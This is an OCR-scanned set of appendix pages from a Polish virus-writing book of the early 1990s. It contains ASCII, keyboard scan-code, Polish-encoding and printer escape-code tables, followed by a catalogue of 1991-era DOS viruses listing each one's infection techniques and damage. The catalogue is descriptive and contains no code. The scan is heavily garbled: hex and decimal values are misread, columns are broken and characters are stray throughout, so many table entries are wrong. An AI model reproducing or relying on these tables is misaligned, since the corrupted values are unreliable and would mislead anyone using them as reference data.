S50
91
92
23
94
85
96 -
97
98
92
9A
9B
aC
8D
SE
SF

o v M T T L o T ) SO S W TR+ (O (O R N o S

b T < o I o I o S e - v o o S o T O
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160
16l
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
18%
183
184
185
186
187
188
189
190
191

Al
Al
AZ
A3
A4
AL
A6
A7
A8
A9

AB
AC
AD
AR
AF
B0
Bl
B2
B3
B4
B5
B6
B
BS
BS
BA
EB
BC
BD
BE
BF

i THNE N O T RN 41N

o I =R

f\-c

192
193
194
195
196
197
198
1599
200
201
202
203
204
205
206
207
208
2089
210
211
212
213
214
215
216
217
218
219
220
221
222
223
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Cci
C2
C3
C4
C5
Ce
Cc7
CE
CY
CA
CRB
cC
CD
CE
CF
Do
D1
Dz
D3
D4
D5
D6
D7
D8
DS
DA
DB
DC
DD
DE
DF

== b -

-+

| =| _"

.

Rl e

B ™1 N -

224
225
226
227
228
2289
230
231
2372
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
453
254
255

EO
El
EZ2
E3
E4
E5S
E6
E7
E8
TS5
BA
EB
EC
ED
EE
EF
Y
F1l
F2
F3
I
Fh
Fb6
F7
F'8
F9
Fa
FB
FC
FD
FE
FF
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é 24. Ramki, linie, rysunki
' Pziesietnie  ASCLT Hex Dec ASCIT Hex Dec ASCII Hex
218 194 191 - da c2 bf 196  —  cd 24 1 18
195 197 180 F—|—4 c3 o5 bd 179 1 b3 25 L 19
192 193 217 Ll co o1 s 208 = cd n6 - la
201 203 187 @ ©f cb bb 186 || ba 27 — 1h
; 204 206 185 4 e ce o 176 HE o T I N T
" 200 202 188 Lkd o8 ca ne 177 % bl 31 v 1f
214 210 183 oy 46 d2 k7 178 E b2 16 > 19
189 215 182 |F+‘ﬂ c? A7 bE 219 l db 17 4 11
211 208 189 LLd a3 a0 »a 220 g dc 35w 03
213 209 184 == 45 dl b8 221 l da 4 + 04
138 216 181 F%{ o6 d8 b5 222 I de 5 » 05
212 207 190 LLd a1 cf we 22z W 4 & » 06
3 25. Kody znakow kontroinych ASCII
Dec | Hex | Gl % Nazw Znaczenie Deg | Hex | Gt | Mazw Zraczenie ‘
0 Q0 A@ | NUL |  koniectaricucha 16 10 % AP | DLE | przerwanie poigczenia
1 {1 A | SOH ; stant naglowka 17 1 " | DC1 | kod sterujaoy 1 {X-ON)
2 | o2 | 8 | 8TX start tekslu 18 | 12 | | | DC2 1 kodsterujacy?
3 03 AC | ETX koniec tekstu | 19 1 13 "S DC3 |ked sterujgey 3 {X-OFF)
4 04 | "D | EOT koniec transmisfi ;20 14 | AT | bed kod sterujgcy 4
5 05 AE | ENGQ zapytanie 21 15 AU | NAK brak potwierdzenia |
6 06 A ACK potwierdzenie 22 16 | v | SYM synchronizacja
7 07 G BEL j sygnat diwiekowy 23 17 | ETB koniec blaku
8 08 AH B8S cofnigcie kursora 24 18 A% | CAN i przerwanie
9 09 A HT Tabulacja pazioma 25 | 19 nY EM | koniec nosnika danych

. 10 fa AJ LF nowa linia i 20 12 A2 | SUB podstawienie !
11 Ob K VT Tébulacja pionowa |' 27 " ] | N FSG przefgczenie
12 0c AL FF nowa strona 28 ¢ & FS se-;c;aratt:nrstrc:»w,.r
13 0d M| CR carriage retumn 29 | 1d f\]. GS separalorgrﬁpy

14 e AN SO przesunigcie wigcz, 30 le A RS separator rekordu

15 Ot AQ 3 przesunigcie wylacz. H LA us separator bloku
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. 26. Rozszerzone Kody ASCII

Gdy przerwanie 16h funkeja 00 zwraca wartosE O w rejestrze AL, to w rejestrze AH jest zwracana wartosé rozszerzonego
kodu ASCII tak jak w tabeli. W programach, po otrzymaniu kodu nacisnigtego klawisza réwnego 0 nalezy po raz drugi
odczytad kod znaku w huforze klawiatury.

Klawisz Hex | Dec j Klawisz Hex | Dec | Klawisz Hex | Dec { Klawisz Hex | Dec
F1 Jb 59 | Shifl-F1 54 | 84 {1 Chl-F1 be | ¢4 | Al-Fi 58 104
F2 3¢ | 60 | Shift-F2 85 | 85 | Cir-F2 bt 95 | Alt-F2 69 | 105
F3 3d 61 Shift-F3 5b 86 | Cid-F3 80 96 § Al-F3 Ba 1{]6w
F4 de | B2 Shift-Fﬁ: 57 | 87 { Cul-F4 61 87 | Alt-F4 gb | 107
F5 3 .53 Shift-F5 o8 | 88 | Cirl-F5 62 | 98 | Al-F5 6c | 108
Fé 40 | &84 {1 Shil-Fg 59 1 89 Ctr-Fé B3 | 9% i AI-F§ éd | 103 |
F7 4 65 | Shifl-F7 ba | 90 § Cul-F7 64 | 100 | AM-F7 Ge | 110
F8 42 | 66 | Shift-Fg Bb | 91 | Ctrl-F8 €5 | 101 | Ait-F8 6t [ 111
9 43 | 67 | Shift-F9 5¢ 82 | Cir-Fg 66 | 102 | Al-F8 70 | 12
F10 44 | B8 | Shift-F10 5d 93 Cirl-F10 67 | 103 | AN-F10 7t | 113
Klawisz Hex | Dec | Klawisz Hex | Dec | Klawisz Hex | Dec | Klawisz Hex | Dec
- Alt-A 1e 3¢ | Al-P 1;] llllll | _25 Alt-3 fa | 122 § down 50 80
Al-B 30 48 1 AR-Q 10 16 I Alt-4 7h | 123 | ieft 4b 75
Alt-C 2e | 46 § AR I 13 { 19 | Alt5 7c- 124 | right d | 77
Alt-D 20 | 32 | ARS 1f 31 All-6 7d | 125§ up 43 | 72
Alt-E 12 | 18 | AT 4 | 20 A7 7e 1 126 | End 4f 79
Al-F 21 33 | AU 16 22 | Alt-§ 7f '" .12? Home 47 7l
Al-G 22 | 34 | AV 2t 47 | AR-9 B0 | 128 { PgDn 51 81
Alt-H 23 | 35 | AW 11 17 | Alt- B2 ; 130 | Pglp 42 | 73
Alt-l 17 | 23 | Alt-X 2d | 45 | Alt= 83 | 131
Alt-} 24 1 36 | AltY 15 | 21 _ Meft 73 { H5
Alt-K 25 | 37 | AlZ 2c | 44 | NUL 03 3 Aight 74 | 118
AtL | 26 | 38 ShiftTab Of | 15 | “End 75 | 117
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Klawisz Hex | Dec | Klawisz Hex | Dec | Klawisz Hex | Dec | Klawisz Hex | Dec
Alt-M 32 50 § AR-O 81 129 | ins 52 g2 | ~Home 7| 119
Alt-N 31 43 1 Alt-1 76 | 120 | Del 53 | 83 | "PgDbn 76 | 118
Alt-O 18 | 24 | A2 79 | 121 | APriSe 72 “ 114 § ~PgUp B4 | 132

Klawiztura $101-kawiszowa

Klawisz Hex Des | Kiawisz Hex Dec Klawisz Hex Dec
Fit1 85 133 | Alt-Bksp e 14 Alt-N/ ad 164
Ft2 86 134 | Alt-Enter 1¢ 28 Alt-N 37 55

Shit-F113 87 135 All-Esc 01 1 Alt-N - 4a 74

Shit-F12 88 136 Adt-Tab ab 165 All-N + 4e 78

Cin-F1i 89 137 | Cti-Tab 94 148 | Alt-NEnter a8 166
Ctl-F12 B8a 138 | .

Alt-F11 8b 139 | Altup I 98 182 | Ctr=N/ 95 149
Ait-F12 8¢ 140 | Alt-down al 180 | Ci-N* 94 150
Alt-{ 1a | 26 Alt-left 90 155 | CtrN- Be 142
Alt-] 1 27 Alt-right i 9d 157 | CtikN+ 80 144
Alt-; 27 39 o

Alt 28 40 Alt-Delete a3 163 | Ctri-N{8] 8d 141
Alt- 24 4 Alt-End 9 159 | Cir-N5]5] af 143
Alt= 2b 43 mall";t_-_l:lome a7 131 Ctri-N {2 g1 145
Alt-, 33 51 t r:ﬁ:;t a? 162 ﬁ:{é‘]l 92 148

Alt-, 34 52 Alt-PageUp 99 153 | Ctr-NDel[] a3 147
Alt-/ 35 53 Alt-PageDn al 161 »

Jak pisac wirusy Strona:242

L T e R R L L kP L L R R



242

27. Kody Polskich Liter

Mazovia Microvex | Emix DHN Cylromat CSK

Litera | hex dec hex dec hex | dec hiex dec hex dec hex dec
BF | 143 | 6F | 143 | A | 164 | 80 | 12 | 60 | 128 | s0 | 128
9 | 149 ] 80 | 128 { &F | 143 | 81 | 128 | & | 129 | a1 | 129
90 | 144 | 9 | 144 | A8 | 168 | 8 | 130 | s | 130 | 82 | 130
9C | 156 § o¢ | 156 | 90 | 157 | 83 | 13t | 85 | 131 | 83 | 1]
A5 | 165 | a5 | 165 | E3 | 207 | B4 | 132 ) 84 | 132 | e4 | 132
A3 | 183 y 9 | w7 | E0 | 224 § 85 | 133 | 85 | 133 | 85 | 133
98 | 152 | 8 | 152 | o7 | 51 | 86 | 13 | e | 134 | 85 | 104
Al | 161 | 92 | 146 [ 8D | 189 | 87 | 135 | 87 | 135 | & | 135
AO | 180 | 9D | 157 | 8D | 141 j 83 | 136 | 8 | 136 | 8 | 136
g | 134 | A0 | 160 | As | 165 | 89 | 17 | 90 | 144 | A0 | 160
80 | 141 | 98 | 155 | 86 | 134 | 8A | 138 | 91 | 145 | A1 | 161

91 | 145 | & | 130 | A9 | 169 | 88 | 130 | o2 | 46 | A2 | te2
9% | 146 | OF | 159 | 88 | 13 | 8C | 140 | 83 | 147 | A3 | 163

A4 164 Ad 164 £4 228 B0 141 94 148 | Ad 164

DO e NN O | O 2 e L O o

=

6 F oA | w62 | A | 162 | A2 | te2 | BE | 12 | 95 | 149 | As | 165
§ | 9E [ 158 | 87 | 135 | 93 | 152 | aF | 143 | 96 | 150 | A6 | 166
t | AT | 167 | 91 | 145 ¢ BE | 190 | 90 | 144§ &7 | 151 | A7 | &7
? | A6 | 166 | AB | 168 | AB | 171 | o1 | 145 | w8 | 152 | A8 | 1e8
d | -t - tee ] - o] T

Tabelg powyzszq przepisatem z numeru 10/87 miesiecznika KOMPUTER.

28. Kody Klawiatury

Klawiatura wywohjac sprzgtowe przerwanie przskazuje do procedury obstugujace] te praerwanie warlosci nacidnigtych
klawiszy zgodnie z portizszymi tabelami. Litera N poprzedzajaca nazwe klawisza oznacza, #6 chodzi o Klawisz 7 klawiatury
numeryczne|.,

Klawiatura PC/XT

Gdy Klawisz jest zwalniany to przekazuje tg sama wartoéé + 80h (na przykiad nacisnigty klawisz Numlock przekazuje
wanosé 45h, po zwolnieniu C5h).
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—— — S e i e e
o1 1] Esx fw2f18] E  |23|35 H o [a24]50 . 45|69 | Numlock
02{ 2 11 [13l1g] B |e2e|zs| 35 (s3] /7 |48| 70| ScroliLock
03|3] 2@ [14lo] T |o5|av| k|6 |s4| snitien |47]71| Home[r)
o4 4{ 3& |15/|21 vy leelss| L [or|ss| ‘Pasc |48(72| [ |
05| 5] 4s [1el22] U |or|ae © fsslss| aw [49|73| PgUpI9)
66l 5% |w|2a| 1 |eslae| . laos7| spacevar |4a|74] N-
7|71 e+ f18l2a| o |20]a - {3a|58| Capslock |4b|75| |4
o8|8| 7& Jiafas] P [2alze] shmy isvlsa| F1 |4ciwe| [

o9l o| & ftafes| (1 E2via3f v wleo| F2 lag|77] I8

oa|10] 9( |27} 1} foclae] z Jad|et| F3 Jdel78| N«
OblM| 0} |ic|28| Enter |2d|45| X de|62] F4  14179] End[1]
cit2| - |id|29| o |zel48| € |3[63] F5  {50[80] [

0d |13} 4= Jlerd0) A GELHL Y A4 FE 15181 Pen(d]
vel14] bsp Lulst| s sl 8 |o|es| Fr 82| ins [0]
Oi15| Tab J20/32]| D |31]49] N |42]e6| F8 [|s3|83| Dely
0j16] o B3| F  Jlso] ™M |a|e7| 9

G

11117 w 22 1 34 33 | 51 44| 68 F10

Symbole (L) i {Pr) oznaczajg ze chodzi odpowiednio o lewy, prawy klawisz.Symbot N oznacza ze chodzi o szary klawisz
majdujacy sie w czgsci numerycznej kawiatury. Np. N- to minus pe prawej stronie klawiatury.

Klawiatura PC/AT 84 kiawisze

Wysyla te same wartodci co klawiatura XT. Dodatkowo klawisz [SysReg] wysyla54H(84 dziesietnie). Wartosé ta nie jest
jednak przekazywana zadnym programom. Moze stuzyc tylko do wywolywania Funkcji 85H przerwania 15H.

W inny sposcb jest zrealizowane zwalnianie klawiszy. Przekazywane sq wiedy dwie wartosci Oth | kod zwalnianego kiawisza.

Klawiatura 101 -klawiszowa

W tabeli s tylko kody klawiszy nie wystepujacych w klawiaturze 84 - klawiszowej.

Klawisz Hex | Sekwencja Klawisz Hex | Sekwencja
Fi1 57 Home ed | 47

Fi12 58 Shit-Home ed | aae(47
Lewy-Alt e0 | 38 End el | 4
Prawy-Ctrl ed | 1d | Shit-End e0 | aael4f
PrintScreen el | 2ae037 gh | 48
Shit-PriSe (SysReq) el | 37 Shit- el | aael4ds
Ctri-PriSe {SysReq) ed | 37 el | 50
Alt-PriSe 54 Shft- 60 | aae050
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: Pause el | 1dd5elGdceS Pagelp ed | 49
f: Ciri-Pause (Break) e0 | 46elch Shft-PageUp e) | aae043
j Insert el | 53 PageDown ed | 5
l Shft-Insent 60 | aaels2 Shit-PageDown 80 | aael5i
Delete ed | 53 el | 4d
: Shit-Delete 0 | aae0s3 Shit- ¢0 | aaed4d
i e | 4 N Enter e0 | 1
5 Shit- o0 | aae0dh | N/ 60 | 35
: Shit-N/ e0 | aaeD35
ZwroC uwagg, 2e klawisze, kidre powtarzajg sie na klawiaturze majg druga warto$t w sekwengji taka, jaki jest kod klawisza

odpowiadajaceqo. Przykladowo klawisz ing w numerycznej czedct kiawiatury ma kod 53h, a kiawisz ins w §rodkowej czgéa
kiawiatury ma kod &0 53h. Przy sprawdzaniu jaki klawisz jest waisnigty mozna wige po prostu dia tych klawiszy ignorowag
prefiks o0 i wiedy nie beda sie, z punktu widzenia programu, rénity od siebie.

Kody kontrolne dia drukarek [BM/Epson i kompatybitnych

Hex Dac Cpis dziatania
07 7 (BEL) Sygnal dZwigkowy.
09 9 (HTY Erszgn[iﬁsienie do najblizszej poziomej pozycji tabulacyjnej. (ustawionej przez
Ga 10 {LF) Wysuwanie papieru o wiersz.
Ob 11 {VT) E[Szgné?sienie do najblizszej pionowej pozycji tabulacyjne] (ustawionsj przez
Oc 12 (FF) EJ’ éuganie papigru do korica strony. Dlugose strony jest ustawiona przez
0d 13 {CR) Powrét glowicy drukarki do poczgtku wiersza (bez wysuwania papieru).
De 14 (80) Rozpoczecie trybu drukawania peszerzonegoe (koriczone przez CR lub LF -
- zobacz ESC W). 2
Of 15 Rozpoczecie trybu diukowania skompresowanego.
11 17 Wiaczenie drukarki {pe 12).
12 18 Zakoriczenie trybu drukowania skompresowanego.
13 19 | Whytaczenie drukarki
14 20 {Si) Koniec trybu drukowania w podwajnej gestodei.
18 24 (CAN) Czyszczenie bufora drukarki.
b 27 (ESC) Rozpoczecie sekwencji znakow (Palrz ponizej)
7t 127 (DEL} Usunigcie znaku z bufora drukarki.

Sekwencie znakéw poprzedzonych przez ESC.
Kody sg podzielone na grupy w zaleznosei od funkcji.

ASCil Hex | Opis dziatania

Krdj pisma / opcje drukarki

ESC-1 12d0l Rozpoczecie trybu drukowania podkresionego.
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ASCI Hex Opis dziataria
ESC-0 1b 24 00 Koniec trybu drukowania podkreslonego.
.5"_- ESCE 1b 45 Rozpoczecie trybu drukowania powigkszonego.
1 ESCF 1b 46 Keniec trybu drukowania powigkszonego.
ESCG 1b 47 Rozpoczecie trybu drukowania wytluszezoneqo.
4 | EscH b 48 Konistrybu drukowania wyluszczonego.
ESCSC 1b 53 00 _Rozpoczecie trybu drukowania SUPERSCRIPT.
ESC &1 1b 5301 Rozpoczecie trybu drukowania SUBSCRIPT.
ESCT 1b 54 Koniec trybu drukowania SUPERSCIPT lub SUBSCRIPT.
ESC W1 1b 57 01 Rozpoczecie trybu drukowania poszerzonego (nie przerywane przez LF | CR).
ESCWO 1B 5700 Konied trybu drukowania poszerzenego.
ESC6 | 1b36 Wybdr matrycy znakdw numer 2.
ESC 7 1b37 Wybér matrycy znakow numer 1. N
Ustawianie dfugosci | szerokosel wierszy i odstepdw.
ESC 0 1b 30 Ustalenie wysokoSci wiersza na 178 cala (3,175 mm). Tryb ten oznacza sig réwniez
przez 8 LP| (LINES PER INCH - linii na cal).
ESC1 1h 31 Ustala wysokosci wiersza na 7/72 cala (2.46944 mm}.
ESC3n | 1b33xx __Ustalenie odstepu migdzy literami w wierszu na n/216 cala {n"0,11758 mm).
ESCJn 1h 4a xx Ustalenie wysokosci linii na n/216 cala dla nastgpnego wysuwania przez LF.
ESC 2 1h 32 Wysunigcie papieru o wiersz dla zmiennej wysokosci wiersza (zobacz ESC A).
Jesli wysokos¢ wiersza nie jest ustalona to ustawia wysokosc wiersza na 6
LPI{4.23 mm).
ESC An 1h 41 xx Ustala wysokose wiersza na n/72 (n*0,35278 mm).
ESCCn 1b 43 xx Ustala ilosc wierszy na strone druku (0-7fH).
ESCNn 1b 4e xx Przesunigcie papien ¢ n wierszy.
ESCO 1b 4t Przerwanie przesuwania,
Rone.
ESC 8 1538 lgnorowanie sygnalu o braku papieru.
ESC9 1639 Preerwanie ignorowania sygnatu o braku papieru.
ESC 1b 3¢ Zaparkowanie glowicy.
ESC U 1551 Rozpocznii drukowanie jedno-kierunkowe.
ESCUO 1h 55 00 Fozpocznij drukowanie dwu-kierunkowe.
ESCBn.0 1642 .00 | Ustaw pionowe pozycje tabulacyjne {ESC D poprzedza cigg wartoéci
zakoriczonych zerem).
ESCDn.O 1b44xx..00 | Ustaw poziome pozycje tabulacyjne (ESC B poprzedza cigg wartosci
zakoriczonych zerem).
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ASCH Hex Opis dziatania

Grafika
ESCK 1b 4b xx xx Wydrukowanie n1+256"n2 bajtéw w trybie 480 punkidw na wiersz.
nin2b1..bn VY. Yy
ESCL... 1hi4c.. Analogicznie w trybie 960 punktdw — walnym.
ESCY.. 1b59... Analogicznie w trybie 960 punkidw — szybkim.
ESCZ.. 1k 5% ... Analogicznie w trybie 1920 punkitw.

29. Lista wirusow ztapanych do korica 1991 r.

W nawiasach podana iiczba istniejacych wersi wirusa.

Zwickszanie rozmiarw pliku:
N/A — Wirus nie dokleja sie do plikdw.
N — Wirus nie zwieksza rozmiaru pliku. Doklefa sie do korica pliku.

S - Wirus nie zwigksza rozmiaru pliku. Dokleja sig na poczatek pliku, mogac w ten sposéh
zniszezyc jego zawarlose,

Wszystkie pozostate wirusy zwigkszaja dugosc pliku po zarazeniu. Czedc z nich, jesh jest w pamigci, moze podawad
wiasciwe dhugosci Po wezylaniu systemu z niezarazonsj dyskietkl, diugosci plikdw zarazonych beda jednak wigksze niz przed
zarazeniem,

Zniszczenia i atakowane obszary:
B — Niszczy lub zmienia Boot Sekior.
D - Niszczy pliki z danymi,
F - Formatuje lub czesciowo zapisuje dyski.
L - Niszezy integralnosé plikdw,
Q — Przechwytuje operacje systemu operacyjnego.

P — Niszczy calkowicie lub czesciowo zainfekawane programy.
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Technika:

10 Atakuje tabklice partycji dysku--10----—-—-—-
8 Atakuie boot sektor dysku--~-v-Ge—-mo——a
8 Atakuje hoot sektor dyskietek-8-------- +
7 Atakuje pliki nakiladkows----- R +
6 Atakuje pliki typu EXE--—--- - +
5 Atakuje pliki typu COM----- 5----- +
4 Atakuje COMMAND,COM------- d--—-+ |
3 Instaluje sie w pamieci--3---+ | |
2 Sam sie rozkodowuje----—-2-- L B N
1 Uzywa techniki Stealth-1-+ | | | |

L]

I
1 2 3 456 78
N T O N I

Nazwa VVVVVYVYVY VY
1008 . X X X X
1014 ¥ ox
1024 {2) N oMo
1024PSRE X X X .
1628 ¥ HL KKK
1967 L. X X X
1210 . ¥ X .
1253 - Boot ’ M . s
12853 - oM .. X X X
1260 (4) A
1381 4
1392 WM XX
144 . X x
1536/2erc Bug N o.M
1559 X X X X
1575/1591 (5} XK oM oX
1605 (3} ¥ oxox
18661 P I '«

1701 /Cascade {(14) . X X x .
1720 {3} bY oA M
1840 . X . . XX
1963 X . ¥ X XXX
268-PFlus .. X oMo
2930 x .ox
337 A A
3445 ¥ N X ¥ oM
3551/8yslock .X . X X
400 (5} L. ox ¥

405 [405] ... . X .
4096 (9) [40%96] X . X X X K X
453 [453] L. X X X

483 [483] .

510 C . . XX

512 (5} ¥ . X XX .
Rl120 {3} L. L X XK XX
529 .. XXX

651 X . X

709 X X %

T33 XX .
T37 ¥ ¥ XX
Fag X oM oX

T7 X ¥ X . .
7808 XX X X X
789 ¥ ox X
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Technilka:
10 Atakuje tablice partycji dysku--l-=-=-====u- +
9 Atakuje boot gektor dyvsku------ B +
8 Atakuje boot sektor dvskietek-8--——--———- +
7 Atakuje pliki naktadkowe----- Fom———— +
& Atakuje pliki typu EXE--—---- H----—- +
5 Atakuje pliki typu COM----- L + |
4 Atakuje COMMAND,COM-rm~=n- e
3 Imstaluje sie w pamigci-=-3---+ | | |
2 Sam sgie rozkodowujae----- 2--+ | | | |
1 Uzywa techniki Stealth-1-+ [ } Zmiana diugegci
| | | ‘ ‘ ’ zainfekowanego
(111111111  program
123458678910 | Zniszczenia
A I |
Nazwa VVVVVVVVVVY W i
8 Tunes/1871 (2] o.M L X E X L. . 1971 o,P
203 XX . 903 O,p
923 X X X M x 923 o,P,L,.D
AGI-Plan x x 1536 O,k L
ALDS {11} . x . =
AirCop (3} *® . e N/A B,O
Alabama (3} e x . 1560 o,F,L
Alameda (3} x . x N/A B
Amstrad (7] . X . B4a7 =
anthrax - Boot {2} ® oL .. ® Nih O,p,0
dnthrax - File {4) ¥ H XX 1206 O,p, I
Arab Virus ¥ .o 834 o, P
Armagedon (3) X X X . 1679 3,B
Australia b D A 1433 O,P,L,D
Azusa (2) ® ., % x N/A D.0O,B,L
Bad BoY (4) X X X 1000 0,P.D
BadGuy (3} . XX . 265 3,L
Bandit M X KK 9BG o,D
BeBe L XX 1004 2,B,D
Beeper (2} ¥ . 0x . 482 2,B,D
Best Wish DX X XX 1024 0,P.D
Black Monday (23} oM oM OX X 1055 L,O,B,D
BEljec (8} ¥ ¥ 160 Q,P
Blood-2 . ¥ . 427 2,F,D
Bloody! oK .. x x N/A B,
Boys (3) X X x . 500 0,D
Brain x . .ox MN/A B
Brain Slaver ¥ o, X XX 5120 0,8, L,D
Burger (28) .oX X oH . 3
Cadkill ¥ oM AN K 1163 O,P,D
Canger . 2 1480 Q,p,.n
Carioca {6} xoa.X 851 Q,p
Casino LOX X X Q,p,L
Casper (2] ¥ o.X X . 1200 L,0.B. D
ch X ¥ WX oK .. 2161 o,L,D,F
Chaos e . x x N/A B,0,D,F
Christmas-J PO T Y 00 o,F
Christmas Violater X x 77?77 O,P,D
Crash . ..
Curse Boot X . . X ® N/A B,O
Damage [Dam] ¥ K H X X 1063 O, P, D
Dark Avenger (11) LA 1800 G, P, L
Darth Vader (6} X KX razna o,L,P
Datacrime {3} x x 1280 B,F
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Technika:
10 Atakuje tablice partveji dysku--10----—----- +
g Atakuje bhoot sektor dvsku---—-—-- B o ———— +
8 Atakuje boot sektor dyskietek-8-v------+
7 Atakule pliki naktadkowe----- e +
6 Atakuije pliki typu EXE------ Gomm +
5 Ataluje pliki typu COM--—--- B————— +
4 Atakuje COMMAND.COM-~------— 4-———+ |
3 Instaluje sie w pamieci--3---+ | |
2 Sam gig rozkodowije--~--- 2——-+ | | | | |
1 Uzywa techniki Stealth-1-+ I Zmiana dingosci
[ I | zainfekowanego
I I I I programu
12345467 ? T TU ZTiSZCZEHia
PEL ]
Mazwa VYV VVVVVY v W
Datacrime-B x ® . 1168 P,.F
Datacrime IZI X , X X 1514 B, r
Datacrime II-B A . R oK. L9ivy B, I
DataLock XM OHE N X 220 c,P
Dbase b3 . 1864 D,o,F
Decembex 28 x ¥ ox . 1400 o,L,P
Den Zuk (5} X . . . . X N/A 0,B
Pestructor LI T Y 1150 o.F
Devil's Dance . S SR g41 B,0,P, L
Dir-2/FAT KX XXX RN 1024 o,L, D, P
Dir-vir {2) e x X X o 691 0,B,. D
Digk Killer ({4} X . x X N/A B,0,P,D,F
Do-Nothing x x . 608 P
Doom2 ¥ o.XX 2504 o,B,D,L
Dot Killer . x ¥ X .o 944 O,F
EDV (2] X . X X KX N/A B, o
Empire (3) X x XX N/A o,P
Enigma XX . . XX 1785 o,P
ETC X oK X 572 o,0,L,F
Furope 92 xx X . 728 Q,D, L
Exterminator ¥ oo X X 451 Q,L,. D
F-Word XXX .. 417 o, P.D
Farcus wo. . K XX N/A O, P, L
Father Christmas . ' SN 1881 o, P
Fellowship (4} x o, . X . 1022 G,P,D, L
Fingers L. HE X X XX 1322 0,p.D
Fish-6 (2} XN MM KK 3584 o, P L
Flash LXMW X . EC8 o,F.D. L
Flip (5} X XK LA X . . 2343 O,P,D.L
Form {4} x . .X X N/A B,0,D
Frere Jacques A A 1811 o,r
Friday 13th COM ..ox 512 P
Frogs X X .. 1500 Q,P
Fu Manchu (4} x oMK . . 2086 Q,P
Generic Boot X .o X x N/ih B,D.F
Get Password 1 e KK . . 1914 0,P,L
Ghost Boot by . x X N/A B, O
Ghost COM L. X 2351 B,P
Geblin ; M oM X . 1851 0,0,L
Greemlin x ¥ X X x X 1146 O,.P,L,D
Growing Block XX o® EX 1446 0,P,L,D
Guppy ¥ ¥ oo, 152 o, P
Happy New Year ¥ X XXX 1265 O, F
Happy Dav KX 153 op
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Technika:
10 Atakuje tablice partycii dysku--10=--w—————— +
9 atakuje boot sektor dysku-~-----— R +
8 Atakuje boot sektor dyskietek-8----——--—- +
7 Atakuije pliki nakfadkowe . —----7-——————+
6 Atakuie pliki typu EXE------ B~ +
S Atakuje pliki typu COM----- D= + |
4 Atakuje COMMAND.COM--—-——-- R
3 Instaluje sig w pamieci=-3--—1 | | | |
2 Sam sie rozkodowuje---—- 2=+ 1| | ]}
1 Uzywa techniki Stealth-1-+ | | i Zmiana diugodei
| | | j J | zainfekewanego
A T O I O program
12345678910 | Zniszcozenia
P | |
Hazwa VYV VIV VYV VYV v v
Herc (2} X HX R ... 506 O,L,P
Hitchecock ¥ X 1121 o,p
Holland (&) . .o x 1332 P
Hologaust (3) x XX ... .. 3784 ,P.L,D
Horse (7] X X ¥ ¥ . . . 1154 O,P,L
Horse Boot X X X b G N/A B, P
Hybrid B 1306 o,P,L
Hymn -2 XXX Xx . . ., 1962 0,.P,L
Hvirm (3] XX X XK . . . 642 o,P,D
Icelandic (3} X % 642 o,p
Icelandic IT X x AEL aQ,p
Icelandic-3 N ., 0x 853 Q,p
IEVE28 n XK L28 O,P
Incom .. bre . 648 QP
Invader (8] HHE LMK NN XX 4086 B,L.D,P,D
Iraqgi Warrior XX o, . ... 777 0,B,L,D
ItaVir (3} oL X oL, 3880 O,P,L.,B
Jeff {3} R O S 328 a,F.D,F
Jerusalem (48) x XX .. . 1808 0,B
JoJo {3 X . ox 1701 g,p
Joker (3} . Hox o . o,P
Joshi (4) ®x . X v . XXX N/A B,O,D
July lith e A S 1201 O,P,L,D
June l6th LoMox 1726 F,0,P,L
Justice X oxox 1242 Q,p
Kamikaze A 4 g
Eema (5} ¥ % ox rdzna o,L,P,D
Eennedy (4) X . 0K . .. 308 o,P
Keypress {4) X X X X .. .. 1232 a,P,D
Klasren HE oKX K XK .. . 981 O,P,L,D
Forea {4} ... XX . MN/A B.O
Kukaturbo X oxox s
Label ¥ X X g
Lazy XM X T20 o, F
Leapfrog Virus {3} . X xXox 516 o, P, D
Leech X X X ¥ 934 0,0,L,D
Lehigh (2} ®oH o, . N/A P.F
Leprogy (7} X X X X X g
Leprosy-B XX X . =]
Liberty (13} ¥ XX XX 2862 o,p
Lizbeon (2) . = . G4g g
Little Flieces x b 4 . 1374 o, P
Loa Duong ¥ . E MN/A B,0,P,. L
Love Child (3) ®onox 488 C,D
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18 atakuie tablice partyveji dysku--10-----——-
Atakuije beoot sektor dysku------ - J
Atakuije boot sektor dyskictek-8-------- +
Atakuje pliki nakiadkowe----- T ————4
Atakuie pliki typu EXE----- g p——— +
Atakuje pliki typu COM--=--- S p——— +
Atakuje COMMAND,COM-—-—-=- d-m——+
Instalufe sie w pamieci--3---+
Sam sie rozkodowuje--——- 24
Uzywa techniki Stealth-1-+
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Lozinsky (4] .. . XX
Lucifer x .
Mardi Bros. (3} Lo X . . . LR
METU Virus (4] .
Michawlangels
Microbes
Miky

Mir {2)
Mirror (2)
MIX1

Mix2

Monxla {3} ..
Monxla-B N
Moscuito .X
Mule {2} . ¥
Murphy (&)

Music Bug (11}

Necrophilia

New Sunday

Newcom

Nina

Nemenclature (4}

Number 1 .
Off Stealth ®
fintarin : . X
Oropax {5) ..
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Teghnika:
10 aAtakuje tablice partvedi dysku--10--——-——-- +
9 Atakuije boot sektor dysku------ B +
g8 Atakuje boot sektor dyskietek-8-—-—--———- + |
7 Atakipie pliki nakiadlowe-———— R + !
& Atakuje pliki typu EXE------ B e + |
5 Atakuie wpliki tvou COM----- 5--——- +
4 Arakuje COMMAND.COM----—--- 4----+ |
3 Instaluje sie w pamieci--3-~-+ | |
2 Sam sie rozkodowuje----- 2o~ ||
1 Uzywa techniki Stealth-1-+ | | | | Zmiana diugodai
4] zainfekowanego
N | programa
123245678959 10 f Zniszozenia
R | |
Nazwa VVVYVYVYVYVVYVY W W
Redx (2) » X 796 Q,p
8-347 X . X /50 o,k
Saddam .. XXX 919 0,7,D,L
Saturday 14th (3} .. X oM ox 685 F,0,P,L
Scottfs Valley LX X L oxN % x 2133 L,C,B,D
Sentinel (4) L. X N X ;XX 4625 L,0,P,D
Shadow Byte (3] . e . WK 723 O,F
Shake (2} x X 474 o,.P
Skiam .. X wOROX 1815 a.F
Elow (5) X X X X ox 1721 O,B,L
Solano (4} ® . o0x 2000 O.P,.L
Sorrv (3) X XX 731 o.p
Spanish X XX XX 2830 Q,0,L,D
Spanz i ] G613 Q,D
Spar ¥ ox oM OX 1255 o,F
Spryver (3} b X X X 1181 0,P
Staf X X X 2083 Q. P L
Star Dot (4} A S+ Q,P,L
Stone-~30 . 961 G, P
Stoned (25) x . . x x N/A G,B,L
Striker N ox X 151 D,0,B,F
Subliminal {3} X% ox 1496 0,P
Sunday (6} x R XX 1636 a,.F
SURIVOL b x Ba7 Q,F
